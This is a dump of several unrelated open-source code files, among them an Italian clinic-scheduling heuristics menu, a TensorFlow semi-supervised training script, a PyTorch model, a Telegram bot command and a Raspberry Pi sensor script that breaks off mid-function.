completata.\\n\")\n\t\t\n\t\t# Path Relinking\n\t\tprint(\"Inizio generazione soluzioni Path Relinking...\\n\")\n\t\tfor i in range(self.config.PRGenerabili):\n\t\t\tprint(\"Generazione soluzione {} di {}\\n\".format(i + 1, self.config.PRGenerabili))\n\t\t\tself.listaPathRelinking.append(self.classePathRelinking.start(choice(self.listaSimulatedAnnealing), choice(self.listaSimulatedAnnealing)))\n\t\tprint(\"Generazione soluzioni Path Relinking completata.\")\n\t\t\n\t\t# Ricerca soluzione migliore\n\t\tsoluzioniTotali = self.listaGreedy + self.listaSimulatedAnnealing + self.listaPathRelinking\n\t\tsoluzioneMigliore = nsmallest(1, soluzioniTotali, key=lambda x : x.makeSpan)[0]\n\n\t\tif soluzioneMigliore.tipo == \"G\":\n\t\t\tself.graficaGreedy[0].tipo = soluzioneMigliore.tipoGreedy\n\t\t\tself.graficaGreedy[0].popolamentoDati(soluzioneMigliore)\n\t\telif soluzioneMigliore.tipo == \"SA\":\n\t\t\tself.graficaSA[0].popolamentoDati(soluzioneMigliore)\n\t\telse:\n\t\t\tself.graficaPR[0].popolamentoDati(soluzioneMigliore)\n\t\t\n\t\tself.visualizzaSoluzione(soluzioneMigliore)\n\n\t'''\n\tFunzione per creare una nuova istanza del problema e graficarla.\n\t'''\n\tdef nuovaIstanza(self):\n\t\tself.istanzaCorrente = self.classeIstanza.start()\n\n\t\t# Reset completo di grafica e soluzioni\n\t\tself.resetGrafica()\n\t\tself.listaGreedy = []\n\t\tself.listaSimulatedAnnealing = []\n\t\tself.listaPathRelinking = []\n\n\t\tself.mainW.istanza.popolamentoDati(self.istanzaCorrente)\n\t\n\t'''\n\tFunzione per creare una nuova soluzione greedy. Viene richiesto all'utente la tipologia desiderata di greedy, infine viene graficata la soluzione creata.\n\t'''\n\tdef nuovaGreedy(self):\n\t\tif not self.istanzaCorrente:\n\t\t\tprint(\"\\nUna soluzione greedy necessita di una istanza di un problema per poter operare.\\nPrima di creare nuove soluzioni, generare una nuova istanza.\\n\")\n\t\t\tinput(\">: Premere un tasto per continuare\")\n\t\t\treturn\n\t\t\n\t\t# Dizionario per gestire la scelta utente\n\t\tscelta = {\n\t\t\t\t\t1 : \"LPT\",\n\t\t\t\t\t2 : \"SPT\",\n\t\t\t\t\t3 : \"FIFO\",\n\t\t}\n\t\t\n\t\t# Richiesta tipologia greedy iterativa\n\t\tflag = True\n\t\twhile flag:\n\t\t\tflag = False\n\t\t\trisposta = input(\n\"\"\"\\nQuale tipologia greedy utilizzare? (premere Invio per annullare):\n\n1) LPT (Longest Processing Time)\n2) SPT (Shortest Processing Time)\n3) FIFO (First In First Out)\n\n>: \"\"\")\n\t\t\tif risposta == \"\":\n\t\t\t\tprint(\"\\nAnnullato\")\n\t\t\t\treturn\n\t\t\ttry:\n\t\t\t\trisposta = int(risposta)\n\t\t\t\tif risposta < 1 or risposta > len(scelta):\n\t\t\t\t\traise ValueError()\n\t\t\texcept ValueError:\n\t\t\t\tprint(\"\\nInput errato.\\n\\n\")\n\t\t\t\tflag = True\n\t\t\telse:\n\t\t\t\t# Nuova soluzione\n\t\t\t\tnuovaGreedy = self.classeGreedy.start(self.istanzaCorrente, scelta[risposta])\n\t\t\t\t\n\t\t\t\t# Visualizzazione e salvataggio in memoria\n\t\t\t\tself.listaGreedy.append(nuovaGreedy)\n\t\t\t\tself.resetGrafica()\n\t\t\t\tself.graficaGreedy[0].tipo = scelta[risposta] \n\t\t\t\tself.graficaGreedy[0].popolamentoDati(nuovaGreedy)\n\t\t\t\t\n\t\t\t\tself.visualizzaSoluzione(nuovaGreedy)\n\n\t'''\n\tFunzione che genera una nuova soluzione SA a partire da una soluzione greedy. La soluzione viene infine graficata.\n\t'''\n\tdef nuovoSA(self):\n\t\tif len(self.listaGreedy) + len(self.listaSimulatedAnnealing) + len(self.listaPathRelinking) == 0:\n\t\t\tprint(\"\\nSimulated Annealing necessita di una soluzione iniziale.\\nPrima di utilizzare questo algoritmo, generare una nuova soluzione di classe Greedy.\\n\")\n\t\t\tinput(\">: Premere un tasto per continuare\")\n\t\t\treturn\n\t\t\n\t\tflag = True\n\t\twhile flag:\n\t\t\tflag = False\n\t\t\tprint(\"\\nQuale soluzione adottare?\")\n\t\t\tindice = 1\n\t\t\tif len(self.listaGreedy) > 0:\n\t\t\t\tprint(\"\\n[Soluzioni Greedy]\\n\")\n\t\t\t\tfor soluzione in self.listaGreedy:\n\t\t\t\t\tprint(str(indice) + \") Tipo: \" + soluzione.tipoGreedy + \" Energia: \" + str(soluzione.energia) + \" Efficienza: \" + \"{:.2%}\".format(soluzione.efficienza) + \" Makespan: \" + str(soluzione.makeSpan))\n\t\t\t\t\tindice += 1\n\t\t\tif len(self.listaSimulatedAnnealing) > 0:\n\t\t\t\tprint(\"\\n[Soluzioni Simulated Annealing]\\n\")\n\t\t\t\tfor soluzione in self.listaSimulatedAnnealing:\n\t\t\t\t\tprint(str(indice) + \") Energia: \" + str(soluzione.energia) + \" Efficienza: \" + \"{:.2%}\".format(soluzione.efficienza) + \" Makespan: \" + str(soluzione.makeSpan))\n\t\t\t\t\tindice += 1\n\t\t\tif len(self.listaPathRelinking) > 0:\n\t\t\t\tprint(\"\\n[Soluzioni Path Relinking]\\n\")\n\t\t\t\tfor soluzione in self.listaPathRelinking:\n\t\t\t\t\tprint(str(indice) + \") Energia: \" + str(soluzione.energia) + \" Efficienza: \" + \"{:.2%}\".format(soluzione.efficienza) + \" Makespan: \" + str(soluzione.makeSpan))\n\t\t\t\t\tindice += 1\n\t\t\t\n\t\t\t# Input utente\n\t\t\trisposta = input(\"\\n(premere Invio per annullare)>: \")\n\t\t\tif risposta == \"\":\n\t\t\t\tprint(\"\\nAnnullato\")\n\t\t\t\treturn\n\t\t\ttry:\n\t\t\t\trisposta = int(risposta)\n\t\t\t\tif risposta < 1 or risposta > indice - 1:\n\t\t\t\t\traise ValueError()\n\t\t\texcept ValueError:\n\t\t\t\tprint(\"\\nInput errato.\")\n\t\t\t\tflag = True\n\t\t\telse:\n\t\t\t\t# Nuova soluzione\n\t\t\t\tlistaTotale = self.listaGreedy + self.listaSimulatedAnnealing + self.listaPathRelinking\n\t\t\t\tsoluzione = listaTotale[risposta - 1]\n\t\t\t\tnuovoSA = self.classeSimulatedAnnealing.start(soluzione)\n\t\t\t\t\n\t\t\t\tself.confrontaSoluzioni(nuovoSA, soluzione)\n\t\t\t\t\n\t\t\t\t# Visualizzazione e salvataggio in memoria\n\t\t\t\tself.listaSimulatedAnnealing.append(nuovoSA)\n\t\t\t\tself.resetGrafica()\n\t\t\t\tself.graficaSA[0].popolamentoDati(nuovoSA)\n\n\t\t\t\t# Visualizzazione soluzione di partenza\n\t\t\t\tif soluzione.tipo == \"G\":\n\t\t\t\t\tself.graficaGreedy[0].tipo = soluzione.tipoGreedy\n\t\t\t\t\tself.graficaGreedy[0].popolamentoDati(soluzione)\n\t\t\t\telif soluzione.tipo == \"SA\":\n\t\t\t\t\tself.graficaSA[1].popolamentoDati(soluzione)\n\t\t\t\telse:\n\t\t\t\t\tself.graficaPR[0].popolamentoDati(soluzione)\n\t\n\t'''\n\tFunzione che crea una soluzione Path Relinking partendo da due soluzioni iniziali, definite dall'utente, perciò di qualsiasi classe.\n\t'''\n\tdef nuovoPR(self):\n\t\tif len(self.listaGreedy) + len(self.listaSimulatedAnnealing) < 2:\n\t\t\tprint(\"\\nPath Relinking necessita di due soluzioni iniziali.\\nPrima di utilizzare questo algoritmo, generare due nuove soluzioni di classe Greedy o Simulated Annealing.\\n\")\n\t\t\tinput(\">: Premere un tasto per continuare\")\n\t\t\treturn\n\t\t\n\t\tsoluzioniScelte = []\n\t\tflag = True\n\t\twhile flag:\n\t\t\tflag = False\n\t\t\tprint(\"\\nQuale soluzione adottare?\")\n\t\t\tindice = 1\n\t\t\tif len(self.listaGreedy) > 0:\n\t\t\t\tprint(\"\\n[Soluzioni Greedy]\\n\")\n\t\t\t\tfor soluzione in self.listaGreedy:\n\t\t\t\t\tprint(str(indice) + \") Tipo: \" + soluzione.tipoGreedy + \" Energia: \" + str(soluzione.energia) + \" Efficienza: \" + \"{:.2%}\".format(soluzione.efficienza) + \" Makespan: \" + str(soluzione.makeSpan))\n\t\t\t\t\tindice += 1\n\t\t\tif len(self.listaSimulatedAnnealing) > 0:\n\t\t\t\tprint(\"\\n[Soluzioni Simulated Annealing]\\n\")\n\t\t\t\tfor soluzione in self.listaSimulatedAnnealing:\n\t\t\t\t\tprint(str(indice) + \") Energia: \" + str(soluzione.energia) + \" Efficienza: \" + \"{:.2%}\".format(soluzione.efficienza) + \" Makespan: \" + str(soluzione.makeSpan))\n\t\t\t\t\tindice += 1\n\t\t\tif len(self.listaPathRelinking) > 0:\n\t\t\t\tprint(\"\\n[Soluzioni Path Relinking]\\n\")\n\t\t\t\tfor soluzione in self.listaPathRelinking:\n\t\t\t\t\tprint(str(indice) + \") Energia: \" + str(soluzione.energia) + \" Efficienza: \" + \"{:.2%}\".format(soluzione.efficienza) + \" Makespan: \" + str(soluzione.makeSpan))\n\t\t\t\t\tindice += 1\n\t\t\t\n\t\t\t# Input utente\n\t\t\trisposta = input(\"\\n(premere Invio per annullare)>: \")\n\t\t\tif risposta == \"\":\n\t\t\t\tprint(\"\\nAnnullato\")\n\t\t\ttry:\n\t\t\t\trisposta = int(risposta)\n\t\t\t\tif risposta < 1 or risposta > indice - 1:\n\t\t\t\t\traise ValueError()\n\t\t\texcept ValueError:\n\t\t\t\tprint(\"\\nInput errato.\")\n\t\t\t\tflag = True\n\t\t\telse:\n\t\t\t\t# Nuova soluzione\n\t\t\t\tlistaTotale = self.listaGreedy + self.listaSimulatedAnnealing + self.listaPathRelinking\n\t\t\t\tsoluzioniScelte.append(listaTotale[risposta - 1])\n\t\t\t\tif len(soluzioniScelte) < 2: # Se non sono state scelte due soluzioni, ne verrà richiesta un'altra\n\t\t\t\t\tflag = True\n\t\t\n\t\t# Avvio algoritmo Path Relinking\n\t\tnuovoPR = self.classePathRelinking.start(soluzioniScelte[0], soluzioniScelte[1])\n\t\n\t\t# Visualizzazione e salvataggio in memoria\n\t\tself.listaPathRelinking.append(nuovoPR)\n\t\tself.resetGrafica()\n\t\tself.graficaPR[0].popolamentoDati(nuovoPR)\n\n\t\t# Stampa delle informazioni delle soluzioni\n\t\tself.confrontaSoluzioni(nuovoPR, soluzioniScelte[0], soluzioniScelte[1])\n\t\t\n\t\t# Visualizzazione soluzioni iniziali\n\t\tindiceG = 0\n\t\tindiceSA = 0\n\t\tindicePR = 1\n\t\tfor soluzione in soluzioniScelte:\n\t\t\tif soluzione.tipo == \"G\":\n\t\t\t\tself.graficaGreedy[indiceG].tipo = soluzione.tipoGreedy\n\t\t\t\tself.graficaGreedy[indiceG].popolamentoDati(soluzione)\n\t\t\t\tindiceG += 1\n\t\t\telif soluzione.tipo == \"SA\":\n\t\t\t\tself.graficaSA[indiceSA].popolamentoDati(soluzione)\n\t\t\t\tindiceSA += 1\n\t\t\telse:\n\t\t\t\tself.graficaPR[indicePR].popolamentoDati(soluzione)\n\t\t\t\tindicePR += 1\n\n\t'''\n\tFunzione che mostra le soluzioni migliori ottenute attualmente per ogni classe di algoritmi.\n\t'''\n\tdef visualizzaMigliori(self):\n\t\t# Ricerca heap per visualizzare le soluzioni migliori\n\t\tsolG = nsmallest(2, self.listaGreedy, key= lambda x : x.makeSpan)\n\t\tsolSA = nsmallest(2, self.listaSimulatedAnnealing, key= lambda x : x.makeSpan)\n\t\tsolPR = nsmallest(2, self.listaPathRelinking, key= lambda x : x.makeSpan)\n\t\t\n\t\tself.resetGrafica()\n\t\t\n\t\tindiceG = 0\n\t\tindiceSA = 0\n\t\tindicePR = 0\n\t\tfor soluzione in solG:\n\t\t\tself.visualizzaSoluzione(soluzione)\n\t\t\tself.graficaGreedy[indiceG].popolamentoDati(soluzione)\n\t\t\tself.graficaGreedy[indiceG].tipo = soluzione.tipoGreedy\n\t\t\tindiceG += 1\n\t\tfor soluzione in solSA:\n\t\t\tself.visualizzaSoluzione(soluzione)\n\t\t\tself.graficaSA[indiceSA].popolamentoDati(soluzione)\n\t\t\tindiceSA += 1\n\t\tfor soluzione in solPR:\n\t\t\tself.visualizzaSoluzione(soluzione)\n\t\t\tself.graficaPR[indicePR].popolamentoDati(soluzione)\n\t\t\tindicePR += 1\n\t\n\t'''\n\tFunzione per visualizzare la soluzione migliore trovata finora.\n\t'''\n\tdef visualizzaMigliore(self):\n\t\tlistaCompleta = self.listaGreedy + self.listaSimulatedAnnealing + self.listaPathRelinking\n\t\tsoluzione = nsmallest(1, listaCompleta, key=lambda x : x.makeSpan)[0]\n\t\t\n\t\tself.visualizzaSoluzione(soluzione)\n\n\t\t# Per la grafica\n\t\tself.resetGrafica()\n\t\t\n\t\tif soluzione.tipo == \"G\":\n\t\t\tself.graficaGreedy[0].popolamentoDati(soluzione)\n\t\telif soluzione.tipo == \"SA\":\n\t\t\tself.graficaSA[0].popolamentoDati(soluzione)\n\t\telse:\n\t\t\tself.graficaPR[0].popolamentoDati(soluzione)\n\t\n\t'''\n\tFunzione per cancellare tutte le visualizzazioni degli algoritmi.\n\t'''\n\tdef resetGrafica(self):\n\t\tfor grafico in self.graficaGreedy + self.graficaSA + self.graficaPR:\n\t\t\tgrafico.cancellaDati()\n\t\n\t'''\n\tFunzione per la schermata informativa.\n\t'''\n\tdef aiuto(self):\n\t\tprint(\"\"\"\nPremessa:\n\nIl programma gestisce il seguente problema:\n\nLo scenario si compone di un poliambulatorio, composto da tre ambulatori medici identici e cinque medici, ognuno specializzato in un esame medico diverso. In tutto, gli ambulatori possono fornire un totale di cinque esami diversi.\nNel poliambulatorio entrano alcuni pazienti (numero variabile), ognuno può scegliere a quali esami sottoporsi, da un minimo di uno, ad un massimo di cinque. Quando un paziente occupa un ambulatorio, deve rimanerci dentro fino alla completa risoluzione di tutti i suoi esami, inoltre egli preclude ad altri la possibilità di utilizzare l'ambulatorio occupato.\nSiccome ogni tipologia di esame può essere eseguita solo da un medico in particolare, nello stesso istante non possono essere in esecuzione esami della stessa natura in ambulatori diversi.\nL'obiettivo del problema è fornire tutte le prestazioni mediche richiete dai pazienti, avendo un makespan minimo.\n\nCaratteristiche:\n\nIl programma permette all'utente di creare un nuovo problema da risolvere, partendo da una configurazione estesa personalizzabile.\nSuccessivamente è possibile creare soluzioni utilizzando diversi algoritmi:\n\n- Greedy: soluzione di partenza in cui è possibile sceglierne la tipologia (LPT, SPT, FIFO) e se utilizzare la randomicità durante la creazione.\n- Simulated Annealing: ricerca locale utilizzata per migliorare una soluzione.\n- Path Relinking: ricerca nello spazio ristretto alle soluzioni simili a quelle di input della procedura\n\nAll'utente viene fornita la possibilità di gestire manualmente la creazione delle soluzioni, oppure di avvalersi di una procedura automatica che, partendo dalla creazione di una nuova istanza del problema e arrivando all'applicazione di Path Relinking, genera una soluzione ottima al problema attuale.\nL'interfaccia grafica prevede una semplice visualizzazione delle soluzioni generate, utile per il confronto manuale da parte dell'utente.\n\t\t\"\"\")\n\t\tinput(\">: Premere un tasto per continuare\")\n\t\n\t'''\n\tFunzione per visualizzare informazioni inerenti la soluzione ottenuta.\n\t'''\n\tdef visualizzaSoluzione(self, soluzione):\n\t\tprint(\"\\nTipologia soluzione: {}\\nMakespan: {}\\nEfficienza: {:.2%}\".format(soluzione.tipo, soluzione.makeSpan, soluzione.efficienza))\n\t\n\t'''\n\tFunzione che mostra eventuali migliorie ottenute con la nuova soluzione. nuovaSoluzione2 è la seconda soluzione utilizzata durante Path Relinking.\n\t'''\n\tdef confrontaSoluzioni(self, nuovaSoluzione, vecchiaSoluzione, vecchiaSoluzione2=None):\n\t\tprint(\"\\nNuova soluzione:\")\n\t\tself.visualizzaSoluzione(nuovaSoluzione)\n\t\tprint(\"------------------\")\n\t\t\n\t\tself.visualizzaSoluzione(vecchiaSoluzione)\n\t\tif vecchiaSoluzione2:\n\t\t\tself.visualizzaSoluzione(vecchiaSoluzione2)\n\t\t\tvecchiaSoluzioneMin = min([vecchiaSoluzione, vecchiaSoluzione2], key=lambda x : x.makeSpan)\n\t\telse:\n\t\t\tvecchiaSoluzioneMin = vecchiaSoluzione\n\t\tprint(\"\\nRisultato finale:\")\n\t\tpercentualeFinale = nuovaSoluzione.makeSpan / vecchiaSoluzioneMin.makeSpan\n\t\t\n\t\tif percentualeFinale > 1:\n\t\t\tprint(\"\\nLa nuova soluzione è peggiorata del {:.2%}.\".format(1 - percentualeFinale))\n\t\telif percentualeFinale == 1:\n\t\t\tprint(\"\\nLa nuova soluzione possiede lo stesso makespan.\\n\")\n\t\telse:\n\t\t\tprint(\"\\nLa nuova soluzione è migliorata del {:.2%}.\".format(1 - percentualeFinale))\n\t'''\n\tFunzione per la gestione dell'uscita dal thread e dal programma.\n\t'''\n\tdef uscita(self):\n\t\tos._exit(1)","repo_name":"MicheleCESO/ROAmbulatori","sub_path":"menù.py","file_name":"menù.py","file_ext":"py","file_size_in_byte":18537,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"29349126179","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nfrom backend import * \nimport architectures\nimport sys\nimport numpy as np\n\n\nfrom tensorflow.python.platform import app\nfrom tensorflow.python.platform import flags\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_integer('sup_per_class', -1,\n 'Number of labeled samples used per class.')\n\nflags.DEFINE_integer('sup_seed', -1,\n 'Integer random seed used for labeled set selection.')\n\nflags.DEFINE_integer('sup_per_batch', 16,\n 'Number of labeled samples per class per batch.')\n\nflags.DEFINE_integer('unsup_batch_size', 64,\n 'Number of unlabeled samples per batch.')\n\nflags.DEFINE_integer('eval_interval', 500,\n 'Number of steps between evaluations.')\n\nflags.DEFINE_float('learning_rate', 1e-4, 'Initial learning rate.')\n\nflags.DEFINE_float('decay_factor', 0.33, 'Learning rate decay factor.')\n\nflags.DEFINE_float('decay_steps', 4000,\n 'Learning rate decay interval in steps.')\n\nflags.DEFINE_float('visit_weight', 0.65, 'Weight for visit loss.')\n\nflags.DEFINE_integer('max_steps', 20000, 'Number of training steps.')\n\nflags.DEFINE_string('checkpoint_dir', '/harddisk/hdd_c/camelyon/code1/new-2015-test/IDC-new/result/model-all-3000-all/model', \n 'Save checkpoint path.')\n\nflags.DEFINE_string('logdir', '/harddisk/hdd_c/camelyon/code1/new-2015-test/IDC-new/semisup_bach/semi-all-3000-all', 'Training log path.')\n\nimport dataset as dataset_tools \nimport sys\nNUM_LABELS = dataset_tools.NUM_LABELS\nIMAGE_SHAPE = dataset_tools.IMAGE_SHAPE\n\n\ndef main(_):\n train_images, train_labels, val_images, val_labels, test_images, test_labels = dataset_tools.get_data()\n\n\n # Sample labeled training subset.\n seed = FLAGS.sup_seed if FLAGS.sup_seed != -1 else None\n sup_by_label = sample_by_label(train_images, train_labels,\n FLAGS.sup_per_class, NUM_LABELS, seed)\n\n graph = tf.Graph()\n with graph.as_default():\n model = SemisupModel(architectures.dataset_model, NUM_LABELS, IMAGE_SHAPE)\n \n# unsup_num = 3000\n # Set up inputs.\n# t_unsup_images, _ = create_input(train_images[0:unsup_num], train_labels[0:unsup_num], FLAGS.unsup_batch_size)\n t_unsup_images, _ = create_input(train_images, train_labels, FLAGS.unsup_batch_size)\n \n t_sup_images, t_sup_labels = create_per_class_inputs(sup_by_label, FLAGS.sup_per_batch)\n\n # Compute embeddings and logits.\n t_sup_emb = model.image_to_embedding(t_sup_images)\n t_unsup_emb = model.image_to_embedding(t_unsup_images)\n t_sup_logit = model.embedding_to_logit(t_sup_emb)\n\n # Add losses.\n model.add_semisup_loss(t_sup_emb, t_unsup_emb, t_sup_labels, visit_weight = FLAGS.visit_weight)\n model.add_logit_loss(t_sup_logit, t_sup_labels)\n\n t_learning_rate = tf.train.exponential_decay(\n FLAGS.learning_rate,\n model.step,\n FLAGS.decay_steps,\n FLAGS.decay_factor,\n staircase=True)\n train_op, train_loss = model.create_train_op(t_learning_rate)\n summary_op = tf.summary.merge_all()\n\n summary_writer = tf.summary.FileWriter(FLAGS.logdir, graph)\n\n saver = tf.train.Saver()\n\n with tf.Session(graph=graph) as sess:\n tf.global_variables_initializer().run()\n\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n\n for step in xrange(FLAGS.max_steps):\n _, loss ,summaries = sess.run([train_op, train_loss, summary_op])\n\n \n if step % 10 == 0:\n test_loss = model.classify_loss(val_images, val_labels)\n# print(test_loss)\n test_loss_summary = tf.Summary(\n value=[tf.Summary.Value(\n tag='Validation Loss', simple_value=test_loss)])\n \n summary_writer.add_summary(summaries, step)\n summary_writer.add_summary(test_loss_summary, step)\n \n val_pred_2 = model.classify(val_images).argmax(-1)\n test_acc = 100 - (np.array(val_labels) != np.array(val_pred_2)).mean() * 100\n \n test_acc_summary = tf.Summary(\n value=[tf.Summary.Value(\n tag='Validation acc', simple_value=test_acc)])\n summary_writer.add_summary(test_acc_summary, step)\n\n \n if (step + 1) % FLAGS.eval_interval == 0 or step == 99:\n print('Step: %d' % step)\n \n # validation\n val_pred = model.classify(val_images).argmax(-1)\n conf_mtx = confusion_matrix(val_labels, val_pred, NUM_LABELS)\n val_err = (val_labels != val_pred).mean() * 100\n print(conf_mtx)\n print('Validation error: %.2f %%' % val_err)\n print()\n\n\n saver.save(sess, FLAGS.checkpoint_dir, model.step)\n\n coord.request_stop()\n coord.join(threads)\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"USTC-HIlab/Semi-HIC","sub_path":"IDC-code/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4900,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"7379809936","text":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass ConcatModel(nn.Module):\n def __init__(self, model, out_channels, num_classes):\n super().__init__()\n self.cnn = model\n\n self.fc1 = nn.Linear(out_channels+2, int((out_channels+2)/2))\n self.fc2 = nn.Linear(int((out_channels+2)/2), num_classes)\n\n def forward(self, image, meta):\n x1 = self.cnn(image)\n x2 = meta\n\n x = torch.cat((x1,x2), dim=1)\n x = F.relu(self.fc1(x))\n x = self.fc2(x)\n\n return x","repo_name":"cch76/skin_classification","sub_path":"models/fc.py","file_name":"fc.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"7449857538","text":"from telegram import Update as _Update\nfrom telegram.ext import CallbackContext as _CallbackContext\n\n\nname = \"registrar\"\ndescription = \"Registra el chat\"\ndef cmd(update: _Update, context: _CallbackContext):\n\n # Crear lista de chats si es que no existe\n if \"chats\" not in context.bot_data:\n context.bot_data[\"chats\"] = set()\n\n chat_id = update.effective_chat.id\n\n context.bot_data[\"chats\"].add(chat_id)\n\n update.effective_message.reply_text(\n text=f\"Agregado chat con id {chat_id}\"\n )\n\n update.effective_message.reply_text(\n text=f\"Lista de ids: {str(context.bot_data['chats'])}\"\n )\n","repo_name":"CleoStoat/plantilla_bot_tg","sub_path":"comandos/registrar_chat.py","file_name":"registrar_chat.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"9999584960","text":"from datetime import datetime\nfrom picamera import PiCamera\nfrom ina219 import INA219\nimport FaBo9Axis_MPU9250\nimport RPi.GPIO as GPIO\nfrom time import sleep\nfrom math import atan2\nGPIO.setmode(GPIO.BCM)\nfrom PIL import Image\nimport numpy as np\nimport serial\nimport base64\nimport pigpio\nimport smbus\nimport time\nimport math\nimport sys\nimport PIL\nimport os\n\nservo_type = 270\nsl = 13\nsr = 12\npi = pigpio.pi()\npi.set_mode(sl, pigpio.OUTPUT)\npi.set_mode(sr, pigpio.OUTPUT)\n\ndef sa(a,b):\n a = servo_type-a\n pi.set_servo_pulsewidth(sl,500+2000*int(a)/servo_type)\n pi.set_servo_pulsewidth(sr,500+2000*int(b)/servo_type)\n\ncamera = PiCamera()\ncamera.resolution = (1280, 720)\ncamera.framerate = 30\nsensor = 6\nbuzz = 26\nled = 4\nu = 0.1\nlaunch = 11\nGPIO_TRIGGER = 18\nGPIO_ECHO = 24\nGPIO.setwarnings(False)\nGPIO.setup(GPIO_TRIGGER, GPIO.OUT)\nGPIO.setup(GPIO_ECHO, GPIO.IN)\nGPIO.setup(buzz, GPIO.OUT)\nGPIO.setup(led, GPIO.OUT)\nGPIO.setup(sensor, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(launch, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\npd = 0\nedis = 0\npressure = 0\ntemp = 0\ndef beep(t):\n GPIO.output(26,1)\n GPIO.output(4,1)\n sleep(t)\n GPIO.output(26,0)\n GPIO.output(4,0)\n sleep(t)\ndef bmpp():\n global temp,pressure\n bus = smbus.SMBus(1)\n try:\n b1 = bus.read_i2c_block_data(0x76, 0x88, 24)\n dig_T1 = b1[1] * 256 + b1[0]\n dig_T2 = b1[3] * 256 + b1[2]\n if dig_T2 > 32767 :\n dig_T2 -= 65536\n dig_T3 = b1[5] * 256 + b1[4]\n if dig_T3 > 32767 :\n dig_T3 -= 65536\n dig_P1 = b1[7] * 256 + b1[6]\n dig_P2 = b1[9] * 256 + b1[8]\n if dig_P2 > 32767 :\n dig_P2 -= 65536\n dig_P3 = b1[11] * 256 + b1[10]\n if dig_P3 > 32767 :\n dig_P3 -= 65536\n dig_P4 = b1[13] * 256 + b1[12]\n if dig_P4 > 32767 :\n dig_P4 -= 65536\n dig_P5 = b1[15] * 256 + b1[14]\n if dig_P5 > 32767 :\n dig_P5 -= 65536\n dig_P6 = b1[17] * 256 + b1[16]\n if dig_P6 > 32767 :\n dig_P6 -= 65536\n dig_P7 = b1[19] * 256 + b1[18]\n if dig_P7 > 32767 :\n dig_P7 -= 65536\n dig_P8 = b1[21] * 256 + b1[20]\n if dig_P8 > 32767 :\n dig_P8 -= 65536\n dig_P9 = b1[23] * 256 + b1[22]\n if dig_P9 > 32767 :\n dig_P9 -= 65536\n dig_H1 = bus.read_byte_data(0x76, 0xA1)\n b1 = bus.read_i2c_block_data(0x76, 0xE1, 7)\n dig_H2 = b1[1] * 256 + b1[0]\n if dig_H2 > 32767 :\n dig_H2 -= 65536\n dig_H3 = (b1[2] & 0xFF)\n dig_H4 = (b1[3] * 16) + (b1[4] & 0xF)\n if dig_H4 > 32767 :\n dig_H4 -= 65536\n dig_H5 = (b1[4] / 16) + (b1[5] * 16)\n if dig_H5 > 32767 :\n dig_H5 -= 65536\n dig_H6 = b1[6]\n if dig_H6 > 127 :\n dig_H6 -= 256\n bus.write_byte_data(0x76, 0xF2, 0x01)\n bus.write_byte_data(0x76, 0xF4, 0x27)\n bus.write_byte_data(0x76, 0xF5, 0xA0)\n data = bus.read_i2c_block_data(0x76, 0xF7, 8)\n adc_p = ((data[0] * 65536) + (data[1] * 256) + (data[2] & 0xF0)) / 16\n adc_t = ((data[3] * 65536) + (data[4] * 256) + (data[5] & 0xF0)) / 16\n adc_h = data[6] * 256 + data[7]\n var1 = ((adc_t) / 16384.0 - (dig_T1) / 1024.0) * (dig_T2)\n var2 = (((adc_t) / 131072.0 - (dig_T1) / 8192.0) * ((adc_t)/131072.0 - (dig_T1)/8192.0)) * (dig_T3)\n t_fine = (var1 + var2)\n cTemp = (var1 + var2) / 5120.0\n fTemp = cTemp * 1.8 + 32\n var1 = (t_fine / 2.0) - 64000.0\n var2 = var1 * var1 * (dig_P6) / 32768.0\n var2 = var2 + var1 * (dig_P5) * 2.0\n var2 = (var2 / 4.0) + ((dig_P4) * 65536.0)\n var1 = ((dig_P3) * var1 * var1 / 524288.0 + ( dig_P2) * var1) / 524288.0\n var1 = (1.0 + var1 / 32768.0) * (dig_P1)\n p = 1048576.0 - adc_p\n p = (p - (var2 / 4096.0)) * 6250.0 / var1\n var1 = (dig_P9) * p * p / 2147483648.0\n var2 = p * (dig_P8) / 32768.0\n pressure = (p + (var1 + var2 + (dig_P7)) / 16.0) / 100\n var_H = ((t_fine) - 76800.0)\n var_H = (adc_h - (dig_H4 * 64.0 + dig_H5 / 16384.0 * var_H)) * (dig_H2 / 65536.0 * (1.0 + dig_H6 / 67108864.0 * var_H * (1.0 + dig_H3 / 67108864.0 * var_H)))\n humidity = var_H * (1.0 - dig_H1 * var_H / 524288.0)\n if humidity > 100.0 :\n humidity = 100.0\n elif humidity < 0.0 :\n humidity = 0.0\n\n temp = \"%.2f\" %cTemp\n pressure = \"%.2f\" %pressure\n except:\n temp = \"\"\n pressure = \"\"\ndef GPS_Info():\n global NMEA_buff\n global lat_in_degrees\n global long_in_degrees\n global time\n nmea_time = []\n nmea_latitude = []\n nmea_longitude = []\n nmea_time = NMEA_buff[0] #extract time from GPGGA string\n nmea_latitude = NMEA_buff[1] #extract latitude from GPGGA string\n nmea_longitude = NMEA_buff[3]\n t =nmea_time #extract longitude from GPGGA string\n \n gpstime = str((int(t[0]+t[1])+7)%24),\":\",t[2],t[3],\":\",t[4],t[5]\n \n lat = float(nmea_latitude) #convert string into float for calculation\n longi = float(nmea_longitude) #convertr string into float for calculation\n \n lat_in_degrees = convert_to_degrees(lat) #get latitude in degree decimal format\n long_in_degrees = convert_to_degrees(longi) #get longitude in degree decimal format\ndef convert_to_degrees(raw_value):\n decimal_value = raw_value/100.00\n degrees = int(decimal_value)\n mm_mmmm = (decimal_value - int(decimal_value))/0.6\n position = degrees + mm_mmmm\n position = \"%.6f\" %(position)\n return position\ndef distance():\n global pd\n 